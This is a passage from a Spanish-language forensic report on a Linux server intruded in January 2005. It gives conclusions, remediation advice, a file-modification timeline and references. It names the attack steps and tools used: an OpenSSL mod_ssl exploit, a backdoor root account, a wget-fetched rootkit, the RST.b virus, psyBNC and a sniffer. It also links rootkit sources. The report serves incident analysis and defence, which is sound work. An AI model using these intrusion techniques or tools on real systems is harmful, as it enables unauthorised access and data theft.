-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
-rwxrwxr-x 1 root
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
0 Feb 17 11:44 959
0 Feb 17 11:44 960
0 Feb 17 11:44 961
0 Feb 17 11:44 962
0 Feb 17 11:44 963
0 Feb 17 11:44 964
0 Feb 17 11:44 965
0 Feb 17 11:44 966
0 Feb 17 11:44 967
0 Feb 17 11:44 968
0 Feb 17 11:44 969
0 Feb 17 11:44 970
0 Feb 17 11:44 971
0 Feb 17 11:44 972
0 Feb 17 11:44 973
0 Feb 17 11:44 974
0 Feb 17 11:44 975
0 Feb 17 11:44 976
0 Feb 17 11:44 977
0 Feb 17 11:44 978
0 Feb 17 11:44 979
0 Feb 17 11:44 980
16 Feb 17 11:44 98075
0 Feb 17 11:44 981
Conclusiones:
Al comienzo de esta investigación se tenia como meta principal de este análisis el descubrir lo ocurrido en el sistema. Por
consiguiente, este análisis a descubierto que:
La invasión ha ocurrido en 29/Enero/2005 alas 22:16:49
Toda la invasión habían estado hecha explorando una vulnerabilidad del paquete OpenSSL, a través del módulo Apache _
ssl .
Es creado un usuario con los mismo valores que root con nombre "weed" tuvo acceso al sistema a través del "sshd"
servidor.
Para ocultar su presencia al sistema se descarga varias herramientas mediante el comando wget entre
ellas, de un rootkit backdoor,(crt.tar.gz), asegurarse su reentrada en el sistema y la instalación de una
serie de herramientas para diferentes tipos de acceso a la red
Es infectado por el virus RST.b por la ejecución del exploit selena.tar.gz sobre los ejecutables gawk, gawk-3.1.0, chmod
... de /x/bin/ .
Se instala psyBNC un bouncer de IRC, nombre con el que se conocen a los proxy para el IRC. permitiendo ocultarla IP
real.
Segun conversaciones de chat recogidos de la partición de la swap el intruso puede ser Italiano. Con pocos conocimientos
de las herramientas utilizadas
RECOMENDACIONES
Del estudio de todo el análisis, de la forma en que se llevó a cabo la intrusión y del resultado exitoso de la misma se
desprenden una serie de conclusiones a tener en cuenta:
En primer lugar, la máquina objeto del análisis no debería ser restaurada desde el estado actual. Lo mejor sería
reinstalarla desde cero y por completo.
Debido a la existencia de un sníffer, y a que la información del sistema se envió al menos a una dirección de correo,
lo más recomendable sería modificar las contraseñas (especialmente de los usuarios root y contador). A pesar de no
tener evidencias de que el sníffer registrase información de relevancia, toda la red debe ser revisada
adecuadamente. Se debe evaluar la posibilidad de cambiar todas las contraseñas incluidas aquellas de acceso a
cuentas de correo electrónico y a páginas web.
Es importante realizar una revisión diaria de los ficheros de "log" ( registros de sucesos) de las máquinas,
especialmente aquellas expuestas a Internet. En este caso, un vistazo a la carpeta /var/log nos informaría de un
acceso no autorizado por su borrado total.
Hemos visto que no son necesarios amplios conocimientos de informática para conseguir comprometer una máquina
en Internet. Tal y como se desprende del análisis, el empleo de ciertas herramientas automatizadas permite que personas
de cualquier edad y condición comprometa los recursos de un ordenador sin que ello requiera mucho esfuerzo ni gran
habilidad. Un atacante experimentado podría haber pasado mucho más desapercibido y haber causado mucho más daño.
Se recomienda revisar adecuadamente las políticas de seguridad, teniendo en cuenta lo expuesto en este informe.
Tiempos modificados del sistema
# 29/01/2005
#
11:02:07.000000000 +0100 daily_usage_200501.png
11:02:07.000000000 +0100 webalizer.current
11:02:08.000000000 +0100 ctry_usage_200501.png
11:02:08.000000000 +0100 hourly_usage_200501.png
11:02:08.000000000 +0100 index.html
11:02:08.000000000 +0100 usage.png
11:02:08.000000000 +0100 usage_200501.html
11:02:08.000000000 +0100 webalizer.hist
22:16:49.000000000 +0100 .
22:16:49.000000000 +0100 dev
22:16:49.000000000 +0100 gawk
22:16:49.000000000 +0100 gawk-3.1.0
22:16:49.000000000 +0100 hdx1
22:16:49.000000000 +0100 hdx2
22:17:13.000000000 +0100 .bash_logout
22:17:13.000000000 +0100 .bash_profile
22:17:13.000000000 +0100 .bashrc
22:17:13.000000000 +0100 home
22:18:35.000000000 +0100 passwd22:19:33.000000000 +0100 libproc.so -> libproc.so.2.0.6
22:20:55.000000000 +0100 .
22:20:55.000000000 +0100 raiz
22:21:49.000000000 +0100 chmod
22:21:50.000000000 +0100 cycomm
22:21:50.000000000 +0100 hosts.h
22:21:50.000000000 +0100 include
22:21:50.000000000 +0100 init.d
22:21:50.000000000 +0100 ld.so.cache
22:21:50.000000000 +0100 ld.so.hash
22:21:50.000000000 +0100 lib
22:21:50.000000000 +0100 libext-2.so.7
22:22:00.000000000 +0100 .
22:22:00.000000000 +0100 init
22:22:00.000000000 +0100 initsk12
22:22:00.000000000 +0100 sbin
22:22:20.000000000 +0100 .
22:22:20.000000000 +0100 ..
22:22:20.000000000 +0100 .bash_history
22:22:20.000000000 +0100 root
22:22:22.000000000 +0100 .
22:22:22.000000000 +0100 .ssh
22:22:22.000000000 +0100 known_hosts
22:22:55.000000000 +0100 shadow22:25:25.000000000 +0100 .
22:25:25.000000000 +0100 etc
22:25:25.000000000 +0100 passwd
22:25:25.000000000 +0100 shadow
22:26:47.000000000 +0100
22:27:01.000000000 +0100 .info
22:27:24.000000000 +0100 .bash_history
22:36:43.000000000 +0100 .
22:36:43.000000000 +0100 200.207.pscan.139
22:36:43.000000000 +0100 w00t
22:46:42.000000000 +0100 psybnc.log
22:46:42.000000000 +0100 psybnc.pid
22:48:18.000000000 +0100 .
22:48:18.000000000 +0100 USER1.TRL
22:48:18.000000000 +0100 log
22:49:40.000000000 +0100 .
22:49:40.000000000 +0100 USER1.MOTD
22:49:40.000000000 +0100 motd
# 31/01/2005
#
10:12:48.000000000 +0100 .
10:12:48.000000000 +0100 USER1.LOG
10:12:48.000000000 +0100 psybnc
11:02:00.000000000 +0100 cron.daily
11:02:00.000000000 +0100 logrotate.status
11:02:01.000000000 +0100 log
11:02:01.000000000 +0100 rpm
11:02:01.000000000 +0100 rpmpkgs
11:12:07.000000000 +0100 .
11:12:07.000000000 +0100 slocate
11:12:07.000000000 +0100 slocate.db
18:54:37.000000000 +0100 .
18:54:37.000000000 +0100 tmp
18:54:57.000000000 +0100 ssvuln
19:02:17.000000000 +0100 217.172.pscan.443
19:02:28.000000000 +0100 .
19:02:28.000000000 +0100 217.172.ssl
19:02:28.000000000 +0100 oops
19:02:28.000000000 +0100 selena
19:03:25.000000000 +0100 217.172.ssl.out
19:03:25.000000000 +0100 sslex
19:03:40.000000000 +0100 .bash_history
19:03:40.000000000 +0100 chgrp
19:03:40.000000000 +0100 chown
19:03:40.000000000 +0100 cpio
19:03:40.000000000 +0100 dd
19:03:40.000000000 +0100 df
19:03:40.000000000 +0100 ed
19:03:40.000000000 +0100 hostname
19:03:40.000000000 +0100 ln
19:03:40.000000000 +0100 ls
19:03:40.000000000 +0100 mail
19:03:40.000000000 +0100 mkdir
19:03:40.000000000 +0100 mknod
19:03:40.000000000 +0100 mktemp
19:03:40.000000000 +0100 mt
19:03:40.000000000 +0100 netstat
19:03:40.000000000 +0100 ping
19:03:40.000000000 +0100 setserial
19:03:40.000000000 +0100 ssl
19:03:40.000000000 +0100 sslx
19:03:40.000000000 +0100 ssx
20:31:00.000000000 +0100 dfj0VJV0A25551
20:31:05.000000000 +0100 .
20:31:05.000000000 +0100 tmp
21:59:23.000000000 +0100 qfj0VJV0A25551
22:20:00.000000000 +0100 root
22:20:01.000000000 +0100 mail
22:20:01.000000000 +0100 mqueue
22:20:01.000000000 +0100 statistics
22:25:00.000000000 +0100 .
22:25:00.000000000 +0100 mrtg
22:25:00.000000000 +0100 mrtg.ok
Referencias:
http://www.sleuthkit.org/sleuthkit/index.php
http://www.linuxsecurity.com/feature_stories/data-hiding-forensics.html
http://hysteria.sk/sd/f/suckit/sk-1.3b/
http://archives.neohapsis.com/
http://www.viruslist.com/
http://www.cert.org/
http://www.psychoid.lam3rz.de
http://project.honeynet.org/challenge/results/submissions/roessler/evidence.txt.
http://www.lurhq.com/atd.html
http://www.shoutcast.com
http://packetstormsecurity.nl
http://www.rsasecurity.com/
http://www.faqs.org/rfcs/
http://www.redhat.com/
http://www.google.com
http://www.freshmeat.net
http://www.securityfocus.com
http://www.sleuthkit.org/sleuthkit/index.php
http://www.ibiblio.org/
http://www.uk.research.att.com/vnc/index.html
http://www.kb.cert.org/